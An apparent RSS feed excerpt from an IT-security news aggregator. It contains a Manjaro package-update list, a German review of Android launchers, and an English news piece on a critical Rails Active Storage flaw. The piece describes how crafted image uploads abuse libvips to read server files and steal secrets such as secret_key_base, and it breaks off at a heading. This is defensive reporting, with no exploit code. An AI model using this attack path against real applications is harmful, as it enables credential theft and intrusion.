   prometheus-elasticsearch-exporter             1.10.0-1             1.11.0-1
                           protozero              1.8.1-1              1.8.2-1
                      protozero-docs              1.8.1-1              1.8.2-1
                      python-alembic             1.18.5-1             1.19.0-1
                  python-argcomplete              3.7.0-1              3.7.1-1
                       python-blosc2              4.9.1-1             4.10.0-1
                         python-cffi              2.1.0-1              2.1.1-1
                   python-dateparser              1.4.1-1              1.4.2-1
              python-dateparser-docs              1.4.1-1              1.4.2-1
               python-faust-cchardet              3.0.0-1              3.1.0-1
                       python-fsspec           2026.6.0-1           2026.7.0-1
                           python-h2              4.4.0-1              4.4.1-1
                        python-jiter             0.15.0-1             0.16.0-1
                       python-openai             2.45.0-1             2.53.0-1
             python-os-service-types              1.8.2-1              1.9.0-1
                          python-pip             26.1.2-1             26.2.1-1
                         python-s3fs           2026.4.0-1           2026.7.0-1
                        python-shtab              1.9.2-1              1.9.3-1
     python-sphinx-autodoc-typehints             3.13.0-1             3.13.2-1
                 python-sqlite-anyio              0.3.0-1              0.3.1-1
                        python-stone              3.5.3-1              3.5.4-1
                     python-test2ref              0.8.2-3              1.2.3-1
                     python-tiktoken             0.12.0-3             0.13.0-1
                 python-time-machine              3.3.0-1              3.3.1-1
                    python-traitlets             5.16.0-1             5.16.1-1
                        python-typer             0.27.0-1             0.27.1-1
                     python-zeroconf            0.149.1-1           0.149.16-1
                   qqc2-breeze-style              6.7.3-1              6.7.4-1
                                 rio              0.5.6-1             0.5.10-1
                               rocal              7.2.4-3              7.2.4-4
                         rootlesskit              3.0.2-1              3.1.0-1
                  ruby-protocol-http             0.67.0-1             0.68.0-1
                               rumdl             0.2.48-1             0.2.50-1
                            sddm-kcm              6.7.3-1              6.7.4-1
                                sdl3             3.4.12-1             3.4.14-1
                            sh4d0wup             0.11.0-2             0.11.1-1
                              smolvm              1.7.2-1              1.7.4-1
                          soft-serve             0.12.0-1             0.12.1-1
                           spectacle            1:6.7.3-1            1:6.7.4-1
                               stack          2.9.3.1-214          2.9.3.1-215
                            stalwart            0.16.15-2            0.16.16-1
                             stunnel               5.79-1               5.80-1
                                syft             1.46.0-1             1.50.0-1
                         systemd-lsp         2026.04.21-1         2026.08.03-1
                      systemsettings              6.7.3-1              6.7.4-1
                             systing              1.6.0-1            1.11.38-1
                            taffybar            4.1.0-101            4.1.0-102
                              talloc              2.4.4-1              2.5.0-1
                            talosctl             1.13.7-1             1.13.8-1
                    telegram-desktop              7.0.7-1              7.0.8-2
                              tevent           1:0.17.1-2           1:0.17.2-1
                         timescaledb             2.29.0-1             2.29.1-1
             timescaledb-old-upgrade             2.29.0-1             2.29.1-1
                                tmon              7.1.5-1              7.1.6-1
                               tombi              1.2.5-1              1.2.6-1
                             toolbox                0.3-1                0.3-2
                             traefik              3.7.4-1             3.7.10-2
                    ttf-0xproto-nerd              3.4.0-2              3.5.0-1
                       ttf-3270-nerd              3.4.0-2              3.5.0-1
                ttf-adwaitamono-nerd              3.4.0-2              3.5.0-1
                      ttf-agave-nerd              3.4.0-2              3.5.0-1
               ttf-anonymouspro-nerd              3.4.0-2              3.5.0-1
                      ttf-arimo-nerd              3.4.0-2              3.5.0-1
            ttf-bigblueterminal-nerd              3.4.0-2              3.5.0-1
        ttf-bitstream-vera-mono-nerd              3.4.0-2              3.5.0-1
              ttf-cascadia-code-nerd              3.4.0-2              3.5.0-1
              ttf-cascadia-mono-nerd              3.4.0-2              3.5.0-1
                    ttf-cousine-nerd              3.4.0-2              3.5.0-1
                   ttf-d2coding-nerd              3.4.0-2              3.5.0-1
             ttf-daddytime-mono-nerd              3.4.0-2              3.5.0-1
                     ttf-dejavu-nerd              3.4.0-2              3.5.0-1
                  ttf-envycoder-nerd              3.4.0-2              3.5.0-1
                  ttf-fantasque-nerd              3.4.0-2              3.5.0-1
                   ttf-firacode-nerd              3.4.0-2              3.5.0-1
                         ttf-go-nerd              3.4.0-2              3.5.0-1
                       ttf-gohu-nerd              3.4.0-2              3.5.0-1
                       ttf-hack-nerd              3.4.0-2              3.5.0-1
                  ttf-heavydata-nerd              3.4.0-2              3.5.0-1
                   ttf-iawriter-nerd              3.4.0-2              3.5.0-1
               ttf-ibmplex-mono-nerd              3.4.0-2              3.5.0-1
             ttf-inconsolata-go-nerd              3.4.0-2              3.5.0-1
            ttf-inconsolata-lgc-nerd              3.4.0-2              3.5.0-1
                ttf-inconsolata-nerd              3.4.0-2              3.5.0-1
                     ttf-intone-nerd              3.4.0-2              3.5.0-1
                    ttf-iosevka-nerd              3.4.0-2              3.5.0-1
                ttf-iosevkaterm-nerd              3.4.0-2              3.5.0-1
            ttf-iosevkatermslab-nerd              3.4.0-2              3.5.0-1
             ttf-jetbrains-mono-nerd              3.4.0-2              3.5.0-1
                     ttf-lekton-nerd              3.4.0-2              3.5.0-1
            ttf-liberation-mono-nerd              3.4.0-2              3.5.0-1
                      ttf-lilex-nerd              3.4.0-2              3.5.0-1
               ttf-martian-mono-nerd              3.4.0-2              3.5.0-1
                      ttf-meslo-nerd              3.4.0-2              3.5.0-1
                    ttf-monofur-nerd              3.4.0-2              3.5.0-1
                     ttf-monoid-nerd              3.4.0-2              3.5.0-1
                   ttf-mononoki-nerd              3.4.0-2              3.5.0-1
                      ttf-mplus-nerd              3.4.0-2              3.5.0-1
                       ttf-noto-nerd              3.4.0-2              3.5.0-1
                    ttf-profont-nerd              3.4.0-2              3.5.0-1
                ttf-proggyclean-nerd              3.4.0-2              3.5.0-1
                  ttf-recursive-nerd              3.4.0-2              3.5.0-1
                ttf-roboto-mono-nerd              3.4.0-2              3.5.0-1
             ttf-sharetech-mono-nerd              3.4.0-2              3.5.0-1
              ttf-sourcecodepro-nerd              3.4.0-2              3.5.0-1
                 ttf-space-mono-nerd              3.4.0-2              3.5.0-1
                   ttf-terminus-nerd              3.4.0-2              3.5.0-1
                      ttf-tinos-nerd              3.4.0-2              3.5.0-1
                ttf-ubuntu-mono-nerd              3.4.0-2              3.5.0-1
                     ttf-ubuntu-nerd              3.4.0-2              3.5.0-1
                ttf-victor-mono-nerd              3.4.0-2              3.5.0-1
                   ttf-zed-mono-nerd              3.4.0-2              3.5.0-1
                               tuicr             0.19.1-1             0.20.0-1
                           turbostat              7.1.5-1              7.1.6-1
                               twine              6.2.0-3              7.0.0-1
                                  ty             0.0.65-1             0.0.66-1
                               typos             1.48.0-1             1.49.0-1
                               union              6.7.3-1              6.7.4-1
                               usbip              7.1.5-1              7.1.6-1
                               vault             1.21.4-2              2.0.3-1
                         wacomtablet              6.7.3-1              6.7.4-1
                                 wcm             0.10.0-4             0.10.0-5
                             weechat              4.9.5-1             4.10.0-1
                            wf-shell             0.10.0-4             0.11.0-1
                                wild              0.9.0-1             0.10.0-1
              x86_energy_perf_policy              7.1.5-1              7.1.6-1
              xdg-desktop-portal-kde              6.7.3-1              6.7.4-2
                           xournalpp              1.3.5-1              1.3.6-1
                           zim-tools              3.6.0-4              3.7.0-1
                       gexiv2-common                    -             0.16.2-2
                                 tdf                    -              0.5.0-3


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-08-04           2026-08-05
-------------------------------------------------------------------------------
                         lib32-pango           1:1.58.0-1           1:1.58.1-1
                          lib32-sdl3             3.4.12-1             3.4.14-1

</code></pre>

<ul>
<li>No issue, everything went smoothly</li>
<li>Yes there was an issue. I was able to resolve it myself.(Please post your solution)</li>
<li>Yes I am currently experiencing an issue due to the update. (Please post about it)</li>
</ul>
<p><a href="https://forum.manjaro.org/t/testing-update-2026-08-05-plasma-6-7-4-nerdfonts-3-5-0-firefox-gnome/189361/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
<hr>
            <p><small>2 posts - 2 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2026-08-05-plasma-6-7-4-nerdfonts-3-5-0-firefox-gnome/189361">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Die besten Android Launcher]]></title>
<description><![CDATA[Mit dem richtigen Launcher bringen Sie Ihre Smartphone-Produktivität auf das nächste Level.
					Foto: Zmiter – shutterstock.com




Der Home Screen Ihres Smartphones ist das Herzstück der mobilen Technologieerfahrung und bildet quasi die Startrampe für alle Aktivitäten. Dabei haben Android– gege...]]></description>
<link>https://tsecurity.de/de/3704752/it-security-nachrichten/die-besten-android-launcher/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704752/it-security-nachrichten/die-besten-android-launcher/</guid>
<pubDate>Wed, 05 Aug 2026 06:10:28 +0200</pubDate>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Mit dem richtigen Launcher bringen Sie Ihre Smartphone-Produktivität auf das nächste Level." title="Mit dem richtigen Launcher bringen Sie Ihre Smartphone-Produktivität auf das nächste Level." src="https://images.computerwoche.de/bdb/3380903/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Mit dem richtigen Launcher bringen Sie Ihre Smartphone-Produktivität auf das nächste Level.</p></figcaption></figure><p class="imageCredit">
					Foto: Zmiter – shutterstock.com</p></div>




<p class="wp-block-paragraph">Der Home Screen Ihres Smartphones ist das Herzstück der mobilen Technologieerfahrung und bildet quasi die Startrampe für alle Aktivitäten. Dabei haben <a href="https://www.computerwoche.de/article/2823820/die-5-besten-chrome-alternativen.html" title="Android" target="_blank">Android</a>– gegenüber iOS-Nutzern einen wesentlichen Vorteil: Sie können ihren Startbildschirm individueller anpassen. Oder sie übernehmen die volle Kontrolle und verwandeln den Home Screen ihres <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Telefons in eine persönliche Produktivitätszentrale.</p>



<p class="wp-block-paragraph">Dabei geht es nicht nur darum, ein paar extravagante Widgets einzustreuen: Mit Hilfe von Launcher-Programmen für <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a> können Sie alle möglichen benutzerdefinierten Aktionen, Schnittstellen und Verknüpfungen erstellen. Diese Maßnahme kann nicht nur aktuelle Smartphones mit erhöhtem Nutzwert ausstatten, sondern auch alte Android-Telefone mit neuem, <a href="https://www.computerwoche.de/article/2824005/7-tools-fuer-mehr-smartphone-effizienz.html" title="effizienterem" target="_blank">effizienterem</a> Leben füllen.</p>



<h2 class="wp-block-heading">Android Launcher: Top 7</h2>



<p class="wp-block-paragraph">Im Google Play Store stehen Ihnen diverse empfehlenswerte Launcher-Optionen zur Verfügung. Um herauszufinden, welche Option dabei für Sie am meisten Sinn macht, sollten Sie sich die Frage stellen, welche Ziele Sie erreichen möchten – beziehungsweise, welche Art der Interaktion Sie bevorzugen.</p>



<p class="wp-block-paragraph"><strong><a href="https://play.google.com/store/apps/details?id=bitpit.launcher" title="Niagara Launcher" target="_blank" rel="noopener">Niagara Launcher</a></strong></p>



<p class="wp-block-paragraph">“Weniger ist mehr” lautet das Motto beim Niagara Launcher. Er verspricht, alle überflüssigen Elemente Ihres <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Startbildschirms zu entfernen und sie durch schnelle und unkomplizierte Tools zu ersetzen, damit Sie Ihre Ziele schneller erreichen.</p>



<p class="wp-block-paragraph">Dreh- und Angelpunkt des Niagara Home Screen ist ein vertikales Menü, dass Ihre meistgenutzten Apps beinhaltet. Dabei steckt mehr unter der Haube, als man auf den ersten Blick denkt: Jeder Shortcut auf dem Startbildschirm lässt sich nicht nur traditionell nutzen, sondern auch mit umfassenderen Ordnern verknüpfen, die sowohl Apps als auch Widgets enthalten können.</p>



<p class="wp-block-paragraph">Niagara verfügt über viele weitere durchdachte, auf Effizienz ausgerichtete Funktionen. Zum Beispiel:</p>



<ul class="wp-block-list">
<li><p>eine Option, um aktive Benachrichtigungen neben dem Symbol der entsprechenden App auf dem Startbildschirm anzuzeigen oder auch direkt darauf zu reagieren;</p></li>



<li><p>die Möglichkeit, mehrere Android-Widgets innerhalb des Startbildschirms zu “stapeln”, um alle wichtigen Informationen auf einen Blick zu erhalten;</p></li>



<li><p>ein intelligentes Suchsystem, auf das Sie mit einer Wischbewegung nach oben überall auf Ihrem Startbildschirm zugreifen können.</p></li>
</ul>



<p class="wp-block-paragraph"><em>Preisgefüge:</em> Niagara Launcher ist kostenlos. Das Upgrade auf die Premium-Version Niagara Pro kostet 9,99 Euro pro Jahr – oder einmalig 29,99 Euro mit unbegrenzter Nutzungsdauer.</p>



<p class="wp-block-paragraph"><strong><a href="https://play.google.com/store/apps/details?id=ginlemon.flowerfree" title="Smart Launcher 6" target="_blank" rel="noopener">Smart Launcher 6</a></strong></p>



<p class="wp-block-paragraph">Wenn Ihnen die Idee gefällt, sich relativ mühelos zu organisieren, Sie dabei aber Wert auf eine traditionellere, rasterbasierte (An-)Ordnung auf Ihrem Home Screen legen, könnte Smart Launcher 6 eine interessante Option für Sie sein. Der <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a> Launcher organisiert und optimiert Ihren Startbildschirm kontinuierlich – ohne dass Sie sich darüber Gedanken machen müssen.</p>



<p class="wp-block-paragraph">Den Smart Launcher zu konfigurieren, ist hingegen eher unkonventionell – obwohl die Software im Laufe der Jahre erheblich flexibler geworden ist. Sie ist immer noch auf Übersichtlichkeit gebürstet und ordnet Ihre meistgenutzten Apps am unteren Rand des Home Screens an. Inzwischen können Sie sich bei Bedarf aber auch von dieser Struktur lösen. Apropos Widgets: Smart Launcher stellt mehrere davon exklusiv zur Verfügung (darunter ein simples Notiz- und Kompass-Widget sowie ein entsprechendes Framework, um eigene Widget-Stapel zu erstellen).</p>



<p class="wp-block-paragraph">Darüber hinaus enthält der Launcher auch eine Suchfunktion, auf die Sie entweder durch Tippen auf die Leiste am unteren Rand des Hauptbildschirms oder durch Wischen nach oben im Bereich des Startbildschirms zugreifen können. Sie kann sowohl für Apps, als auch für Kontakte oder Web-Informationen zum Einsatz kommen. Standardmäßig bietet Smart Launcher 6 zudem eine Integration der News-Plattform von Microsoft (deaktivierbar).</p>



<p class="wp-block-paragraph"><em>Preisgefüge:</em> Smart Launcher 6 ist kostenlos. Ein optionales Pro-Upgrade kostet 12 Dollar (Lifetime-Lizenz).</p>



<p class="wp-block-paragraph"><strong><a href="https://play.google.com/store/apps/details?id=com.microsoft.launcher" title="Microsoft Launcher" target="_blank" rel="noopener">Microsoft Launcher</a></strong></p>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a> ist in der Regel eine Google-zentrische Angelegenheit. Inzwischen hat Microsoft allerdings sein eigenes Sub-Ökosystem innerhalb der Mobile-Plattform aufgebaut. Das Herzstück dieser Bemühungen: der Microsoft Launcher.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Mit dem Microsoft Launcher rücken Bing, Outlook und Co. in den Fokus." title="Mit dem Microsoft Launcher rücken Bing, Outlook und Co. in den Fokus." src="https://images.computerwoche.de/bdb/3380907/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Mit dem Microsoft Launcher rücken Bing, Outlook und Co. in den Fokus.</p></figcaption></figure><p class="imageCredit">
					Foto: JR Raphael / Foundry</p></div>




<p class="wp-block-paragraph">Dieser sorgt dafür, dass Sie direkt das Gefühl bekommen, ein Microsoft <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Gerät und kein Google-Produkt zu verwenden: Das Feed-ähnliche Panel des Android Launchers zeigt Ihnen auf einen Blick Outlook-Kalenderinformationen, Posteingangs-Tasks und eine Liste Ihrer zuletzt verwendeten Dokumente. Zudem stützt sich der Microsoft Launcher auf die News-Plattform des Konzerns und in Sachen Suchsystem auf Bing.</p>



<p class="wp-block-paragraph">Abgesehen von den Microsoft-spezifischen Elementen vereint dieser Launcher schlichte Ordnung mit fortgeschrittenen Organisationsoptionen.</p>



<p class="wp-block-paragraph"><em>Preisgefüge:</em> Die App ist kostenlos.</p>



<p class="wp-block-paragraph"><strong><a href="https://play.google.com/store/apps/details?id=com.ss.squarehome2" title="Square Home" target="_blank" rel="noopener">Square Home</a></strong></p>



<p class="wp-block-paragraph">Alle <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Nutzer die <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> Phone vermissen, können sich das zugehörige Kacheldesign mit Square Home jetzt auf ihr Smartphone holen. Doch selbst wenn Sie nie ein Windows Phone genutzt haben, könnten Sie Square Home als erfrischenden Weg empfinden, Ihre Workflows zu optimieren.</p>



<p class="wp-block-paragraph">Die Kacheln, die der Launcher auf Ihrem Home Screen platziert, sind anpassbar und können eine App-Verknüpfung, ein Widget oder andere Aktionen beherbergen. Sie haben sogar die Möglichkeit, die Kacheln als dreidimensionale Würfel zu befüllen. Darüber hinaus dürfen Sie bei diesem <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a> Launcher auch Textgrößen, Farben und Hintergründe sowie eigene Tastenkombinationen und Wischgesten konfigurieren.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Android-Nutzer mit Hang zu Windows-Phone-Nostalgie - oder Geometrie - dürfen sich mit Square Home austoben." title="Android-Nutzer mit Hang zu Windows-Phone-Nostalgie - oder Geometrie - dürfen sich mit Square Home austoben." src="https://images.computerwoche.de/bdb/3380906/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Android-Nutzer mit Hang zu Windows-Phone-Nostalgie – oder Geometrie – dürfen sich mit Square Home austoben.</p></figcaption></figure><p class="imageCredit">
					Foto: JR Raphael / Foundry</p></div>




<p class="wp-block-paragraph"><em>Preisgefüge:</em> Square Home ist kostenlos. Erweiterte Funktionen ermöglicht ein Upgrade auf die Premium-Version für fünf Dollar (Lifetime-Lizenz).</p>



<p class="wp-block-paragraph"><strong><a href="https://play.google.com/store/apps/details?id=org.n277.lynxlauncher" title="Lynx Launcher" target="_blank" rel="noopener">Lynx Launcher</a></strong></p>



<p class="wp-block-paragraph">Lynx Launcher ist ein relativ neuer Anwärter unter den <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Launchern, der sich durch seinen Ansatz von der Konkurrenz abhebt.</p>



<p class="wp-block-paragraph">Lynx Launcher soll von der <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-basierten Gnome-Desktop-Oberfläche “inspiriert” sein. Im Kern bietet die Software ein primäres Startbildschirm-Panel mit einem einfachen integrierten Uhr-Widget oben und einer Reihe von Lieblingsanwendungen auf der rechten Seite. Diesen Hauptbereich dürfen Sie um zusätzliche Verknüpfungen und Widgets ergänzen.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Der Lynx Launcher zeigt sich von Linux inspiriert und bietet eine besonders effektive App-Übersicht." title="Der Lynx Launcher zeigt sich von Linux inspiriert und bietet eine besonders effektive App-Übersicht." src="https://images.computerwoche.de/bdb/3380905/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Der Lynx Launcher zeigt sich von Linux inspiriert und bietet eine besonders effektive App-Übersicht.</p></figcaption></figure><p class="imageCredit">
					Foto: JR Raphael / Foundry</p></div>




<p class="wp-block-paragraph">Der Home Screen wirkt auf den ersten Blick etwas leer und verwaist, hält auf den zweiten Blick aber weitere Elemente bereit:</p>



<ul class="wp-block-list">
<li><p>Eine Wischbewegung nach rechts – oder ein Tipp auf das Punkte-Symbol – führt Sie zu einer alphabetisch geordneten App-Liste.</p></li>



<li><p>Eine Wischbewegung nach links öffnet den sich selbst befüllenden Favoriten-Bildschirm. Hier werden Ihre am häufigsten verwendeten Apps und Kontakte vorgehalten, damit Sie schnell darauf zugreifen können.</p></li>



<li><p>Eine Wischbewegung nach unten – oder ein Tipp auf das Suchfeld oben auf dem Startbildschirm – startet die Suchfunktion des Android Launchers: Ein oder zwei Buchstaben einzugeben, genügt dabei, um Apps, Kontakte oder Informationen im Web zielstrebig zu finden.</p></li>



<li><p>Ein Wisch nach oben über einen beliebigen Bereich Ihres Startbildschirms ruft den “Desktop”-Bereich von Lynx auf. Dabei handelt es sich im Grunde um ein zusätzliches On-Demand-Panel für den Startbildschirm, in dem Sie eine beliebige Kombination von Verknüpfungen und Widgets ablegen können.</p></li>
</ul>



<p class="wp-block-paragraph">Lynx bietet noch weitere Optionen für Anpassungen: Zum Beispiel die Möglichkeit, benutzerdefinierte Gesten einzurichten. </p>



<p class="wp-block-paragraph"><em>Preisgefüge:</em> Lynx ist in der Grundversion kostenlos. Ein optionales Pro-Upgrade für vier Dollar erschließt erweiterte Anpassungsmöglichkeiten.</p>



<p class="wp-block-paragraph"><strong><a href="https://play.google.com/store/apps/details?id=com.beforesoft.launcher" title="Before Launcher" target="_blank" rel="noopener">Before Launcher</a></strong></p>



<p class="wp-block-paragraph">Verbringen Sie zu viel Zeit mit Ihrem Smartphone? Die Entwickler von Before Launcher versprechen, dass Sie Ihre Nutzungszeit mit Hilfe ihrer Software um ganze 40 Prozent reduzieren können. Dazu setzt der <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a> Launcher in erster Linie auf schnörkellose und ablenkungsfreie Produktivität.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p class="wp-block-paragraph">Entsprechend asketisch kommt der primäre Home Screen des Before Launcher ums Eck: Es handelt sich im Grunde lediglich um eine textbasierte Auflistung der Anwendungen, die Sie am häufigsten nutzen. Eine Wischbewegung nach links öffnet eine vollständige Auflistung aller installierten Apps – ein Fingerstreich in die andere Richtung führt zu einer (filterbaren) Benachrichtigungszentrale. Darüber hinaus bietet der <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a> Launcher einige minimalistische Optionen, um das Aussehen des Startbildschirms zu verändern und benutzerdefinierte Gesten aufzusetzen.</p>



<p class="wp-block-paragraph"><em>Preisgefüge:</em> Before Launcher ist kostenlos – bietet jedoch auch ein optionales, kostenpflichtiges Pro-Upgrade (Kostenpunkt sechs Dollar), das weitere Features hinzufügt.</p>



<p class="wp-block-paragraph"><strong><a href="https://play.google.com/store/apps/details?id=com.teslacoilsw.launcher" title="Nova Launcher" target="_blank" rel="noopener">Nova Launcher</a></strong></p>



<p class="wp-block-paragraph">Dieser <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a> Launcher gehört seit einigen Jahren zu den Favoriten von Android-Power-Usern. Das liegt auch daran, dass dieser Launcher es ermöglicht, so gut wie jede nur erdenkliche Kleinigkeit zu konfigurieren beziehungsweise zu personalisieren – von der Größe der Schriftarten über den Transparenzgrad von Hintergründen bis hin zur Geschwindigkeit von Animationen. Sie können auch eine Vielzahl benutzerdefinierter Gesten für den schnellen Zugriff auf Apps oder Aktionen erstellen.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Mit dem Nova Launcher dürfen Sie auch eine Vielzahl benutzerdefinierter Gesten für den schnellen Zugriff auf Apps oder Aktionen erstellen." title="Mit dem Nova Launcher dürfen Sie auch eine Vielzahl benutzerdefinierter Gesten für den schnellen Zugriff auf Apps oder Aktionen erstellen." src="https://images.computerwoche.de/bdb/3380904/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Mit dem Nova Launcher dürfen Sie auch eine Vielzahl benutzerdefinierter Gesten für den schnellen Zugriff auf Apps oder Aktionen erstellen.</p></figcaption></figure><p class="imageCredit">
					Foto: JR Raphael / Foundry</p></div>




<p class="wp-block-paragraph">Der Nova Launcher ist davon abgesehen auch für seine zeitnahen und regelmäßigen Updates bekannt. Wenn Sie Wert darauf legen, die vollständige Kontrolle über jedes Element Ihres Homescreens zu haben, fahren Sie mit diesem <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a> Launcher am besten.</p>



<p class="wp-block-paragraph"><em>Preisgefüge:</em> Nova Launcher ist kostenlos. Ein optionales, kostenpflichtiges Upgrade (fünf Dollar) erschließt erweiterte Funktionen. (fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.computerworld.com/article/1723954/android-launchers-for-enhanced-efficiency.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Computerworld.com erschienen. </strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ruby on Rails critical bug puts every image upload under scrutiny]]></title>
<description><![CDATA[A new critical vulnerability in the Ruby on Rails (“Rails”) web application framework, CVE-2026-66066, could turn a seemingly innocuous image into a front door to your secrets.



Disclosed July 30, the high severity CVE (scored 9.5 out of 10) poses a significant risk to enterprises running apps ...]]></description>
<link>https://tsecurity.de/de/3704714/ai-nachrichten/ruby-on-rails-critical-bug-puts-every-image-upload-under-scrutiny/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704714/ai-nachrichten/ruby-on-rails-critical-bug-puts-every-image-upload-under-scrutiny/</guid>
<pubDate>Wed, 05 Aug 2026 05:22:52 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A new critical vulnerability in the Ruby on Rails (“Rails”) web application framework, <a href="https://www.cve.org/CVERecord?id=CVE-2026-66066" target="_blank" rel="noreferrer noopener">CVE-2026-66066</a>, could turn a seemingly innocuous image into a front door to your secrets.</p>



<p class="wp-block-paragraph">Disclosed July 30, the high severity CVE (scored 9.5 out of 10) poses a significant risk to enterprises running apps that handle user-uploaded images in Rails.</p>



<p class="wp-block-paragraph">Dubbed “KindaRails2Shell,” it targets the overly-trusting Active Storage component of the open-source framework, allowing unauthenticated attackers to read sensitive files or escalate to remote code execution (RCE).</p>



<p class="wp-block-paragraph">The issue has been fixed in versions 7.2.3.2, 8.0.5.1 and 8.1.3.1 of Active Storage; enterprises running Rails should update immediately.</p>



<p class="wp-block-paragraph">“The ‘chef’s kiss’ is the ability for an attacker to upload an image that isn’t actually an image [but] is code that allows them to steal secrets,” said <a href="https://www.linkedin.com/in/dbshipley/" target="_blank" rel="noreferrer noopener">David Shipley</a> of Beauceron Security.</p>



<h2 class="wp-block-heading">Attackers get the key to the castle</h2>



<p class="wp-block-paragraph">Ruby on Rails is an open-source, server-side application framework used for building full-stack web apps and <a href="https://www.csoonline.com/article/4204548/secure-ai-adoption-starts-with-api-best-practices.html" target="_blank">application programming interfaces</a> (APIs).</p>



<p class="wp-block-paragraph">It is popular among developers because it is scalable, easy to learn and use, supports quick application development, taps into an active community of <a href="https://github.blog/engineering/architecture-optimization/building-github-with-ruby-and-rails/" target="_blank" rel="noreferrer noopener">more than 1,000 engineers</a> developing and maintaining it, and has an extensive library of nearly two million lines of prebuilt code.</p>



<p class="wp-block-paragraph">CVE-2026-66066 specifically targets Rails’ built-in Active Storage component, which lets users upload files to cloud services or local disks and link them to their applications. In particular, the vulnerability exploits the way Active Storage interacts with the <a href="https://github.com/libvips/libvips" target="_blank" rel="noreferrer noopener"><em>libvips</em> image processing library</a> to generate images.</p>



<p class="wp-block-paragraph"><em>Libvips</em> contains what are known as “unfuzzed” operations which have not been hardened against malicious inputs through techniques known as <a href="https://en.wikipedia.org/wiki/Fuzzing" target="_blank" rel="noreferrer noopener">fuzzing</a> that test where they crash, leak data, or otherwise behave erratically. This makes them unsafe for use with untrusted content, but Active Storage does not adequately disable them.</p>



<p class="wp-block-paragraph">“CVE-2026-66066 is particularly dangerous because an attacker may not need an account or privileged access,” explained <a href="https://www.sans.org/profiles/ensar-seker" target="_blank" rel="noreferrer noopener">Ensar Seker</a>, CISO at SOCRadar.</p>



<p class="wp-block-paragraph">Attackers can exploit the unsafe pipeline by uploading specially crafted files that trick Active Storage into giving them access to files that the Rails process is permitted to access, even highly-sensitive ones in app processing environments.</p>



<p class="wp-block-paragraph">In practical terms, this could expose environment variables, Rails application secrets, database credentials, cloud access keys, API tokens and credentials for connected services, Seker explained.</p>



<p class="wp-block-paragraph">Attackers can also gain access to the <em>secret_key_base</em> that signs and encrypts cookies, <a href="https://www.csoonline.com/article/570795/how-to-hack-2fa.html" target="_blank">credentials</a>, and session data. When <em>secret_key_base </em>is compromised, attackers essentially hold the key to the app.</p>



<p class="wp-block-paragraph">“The immediate vulnerability is an arbitrary file-read issue, but the theft of secrets such as Rails’ <em>secret_key_base</em> can turn information disclosure into a much broader compromise,” Seker said.</p>



<p class="wp-block-paragraph">Depending on the application, attackers could potentially forge trusted application data or sessions, access databases and cloud services, move laterally into connected systems, or achieve RCE.</p>



<p class="wp-block-paragraph">That escalation path is what makes the vulnerability critical, Seker said. “A seemingly routine image upload feature, such as a profile picture, avatar or thumbnail generator, could become an entry point into the application’s underlying infrastructure.”</p>



<h2 class="wp-block-heading">How to identify if you’re vulnerable</h2>



